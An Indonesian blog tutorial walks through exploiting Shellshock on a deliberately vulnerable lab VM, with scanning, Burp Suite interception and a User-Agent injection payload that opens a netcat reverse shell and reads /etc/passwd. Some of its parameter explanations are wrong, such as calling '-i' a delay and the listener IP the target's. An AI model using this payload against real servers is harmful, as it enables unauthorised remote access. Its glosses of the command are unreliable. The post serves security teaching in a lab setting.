Sabtu, 20 Agustus 2016

Testing Shellshock di Server Kali Linux 1.0.6

Assalamualaikum warahmatullahi wabarakatuh... 

Testing Server
Untuk melakukan percobaan terhadap sistem yang bermasalah, sistem operasi yang digunakan adalah Kali Linux 1.0.6 yang masih menggunakan Linux Kernel 2.6.x dan memiliki versi bash yang vulner. Untuk melihat apakah komputer korban bermasalah atau tidak, perintah bash bisa digunakan seperti contoh berikut ini:

Hal lain yang bisa dilakukan adalah dengan melakukan reverse connection dengan menjalankan netcat pada target server. Sekarang, mari kita lakukan simulasi serangan dimulai dengan scanning terhadap komputer korban. Pada percobaan ini saya menggunakan server VM cve-2014-6271.iso, jika Anda belum mempunyai server ini, maka bisa mengunduhnya di link https://s3.amazonaws.com/pentesterlab/cve-2014-6271.iso yang memang dirancang untuk serangan Shellshock. Scanning yang kita lakukan adalah scanning direktori menggunakan :
Dirbuster [IP_Target]
Pada contoh ini terlihat bahwa kita telah mendapatkan bug shellshock pada komputer korban yaitu pada direktori cgi-bin/ .
Selanjutnya, kita akan melakukan scanning kembali pada direktori cgi-bin untuk memastikan file apa saja yang ada pada direktori tersebut menggunakan wordlist yang disediakan dirbuster.
Asumsi pada tahap ini adalah kita sudah mengetahui pada server ini telah menggunakan versi bash yang vulner terhadap Shellshock. Selanjutnya kita akan melakukan scanning terhadap korban dengan perintah. 
nmap [IP_Target]
Setelah mengetahui bahwa port 80 terbuka, kita mencoba membuka web server target menggunakan browser yang bernama Mantra. Mantra adalah sebuah aplikasi Web Browser yang disediakan oleh OWASP Corporation untuk mengganti settingan proxy secara cepat. Namun, jika pada Kali Linux Anda tidak memilki mantera Anda dapat menginstall package Mantra melalui command berikut: 
wget –c http://tenet.dl.sourceforge.net/project/getmantra/Mantra%20Security%20Toolkit/Janus%20-%200.92%20Beta/OWASP%20Mantra%20Janus%20Linux%2032.tar.gz
Alternatif lain, kita juga dapat menggunakan Ice Weasel, yaitu Browser bawaan Kali linux
Kita akan melakukan pengaturan pada konfigurasi proxy pada browser mantra .
Hal pertama adalah menambahkan pengaturan proxy yang baru pada browser Mantra atau Ice Weasel, proxy yang kita tambahkan adalah proxy local, yaitu 127.0.0.1. Pengaturan ini dilakukan agar data yang dikirimkan melewati local machine (Kali Linux) kita.
Untuk penamaan proxy, kita namakan “Local Proxy“
Selanjutnya kita memasukkan proxy 127.0.0.1, yaitu proxy localhost
Kemudian, kita akan menangkap data yang masuk ke Burpsuite, dengan cara mengaktifkan proxy tersebut dan membuka halaman web server yang tadi kita buka. Setelah itu, Burpsuite akan menangkap data yang lewat melalui proxy
Setelah ditangkap, data tersbut kita kirimkan ke repeater dengan cara klik kanan kolom yang berisi header data, lalu pilih “send to repeater”.

Kemudian, kita akan berpindah ke tab repeater. Repeater ini berfungsi untuk memanipulasi secara manual dan memproses pengiriman data HTTP (HTTP
Request) secara individual (setiap data yang dikirimkan.

Di sini kita dapat mengubah header data yang akan kita kirimkan dan melihat respon data yang dibalas oleh si web server Sebelumnya, kita harus memeriksa konfigurasi IP address kita sebagai penyerang dengan perintah: 
ifconfig
Dan untuk melakukan reverse connection, kita akan menjalankan netcat sebagai server untuk listen connection, yaitu si korban. Reverse Connection adalah sebuah teknik untuk masuk pada sebuah sistem (mesin) melalui port yang terbuka pada target, cara ini otomatis akan melewati proteksi (bypass) oleh firewall.
Langkah selanjutnya kita akan mengubah content dari User Agent yang sebelumnya adalah sebuah data User Agent dari HTTP request menjadi kode Shellshock ditambah , yaitu:
() { :; }; /bin/bash –c “nc 192.168.18.130 4444 –e /bin/bash –i”
Ket :
() { :; };      = Kode shellshock yang diinjeksi pada celah kemanan shell di server target
/bin/bash = Aplikasi bash yang dijalankan pada target server di direktori /bin/bash
-c             = Parameter untuk memerintahkan menjalankan mengeksekusi program shell
nc            = Menjalankan program netcat
192.168.18.130 4444 = IP dan PORT Target
-e     = Sama seperti “-c”, menjalankan eksekusi shell, namun “-c” dijalankan setelah /bin/bash command 
-i   =  Delay untuk interval setiap command dimasukkan,kita tidak memasukkan nilai di sini, berarti nilai defaultnya adalah 0

Kode shellshock ini berfungi untuk melakukan injeksi shell untuk penyerangan Shellshock.
Langkah selanjutnya adalah melihat status dari netcat yang tadi kita jalankan, jika berhasil dengan memberikan respon koneksi, maka kita dapat menjalankan command Bash pada target tersebut, sebagai contoh kita dapat melihat file /etc/passwd:
Selesai, 
Wassalamualaikum warahmatullahi wabarakatuh... 

NOTE : JADI SAYA SANGAT MENYARANKAN AGAR SEMUA TEKNIK HACKING YANG ANDA PEROLEH INI DIPERGUNAKAN DALAM RANAH ETHICAL HACKING. ARTINYA JANGAN MENGGUNAKAN TEKNIK2 TERSEBUT UNTUK MELAKUKAN HACKING KE DALAM SISTEM YANG TIDAK MEMBERIKAN IZIN KEPADA ANDA UNTUK MELAKUKANNYA. SEMUA AKSES SISTEM PADA TUTORIAL/SIMULASI INI 100% LEGAL. SISTEM TERSEBUT BERASAL DARI LAB YANG SAYA BUAT UNTUK KEPERLUAN PRAKTEK, BAIK SEPERTI ROUTER, SWITCH, HUB, OS DLL. JADI JIKA ANDA INGIN MEMPRAKTEKANNYA SILAKAN MEMBUAT LAB KECIL2AN SEPERTI YANG SAYA LAKUKAN!

2 komentar:

  1. Ilmu nya bagus terima kasih .
    Tapi sebelum nya saya mau bertanya. Apakah versi kernel nya yg membuat ada bug tersebut ? Terima kasih

    BalasHapus
    Balasan
    1. Sama Sama.
      Bukan, ini pembahasan mengenai BASH yang ada dikernel, jadi yang mempengaruhi adalah versi BASHnya.

      Hapus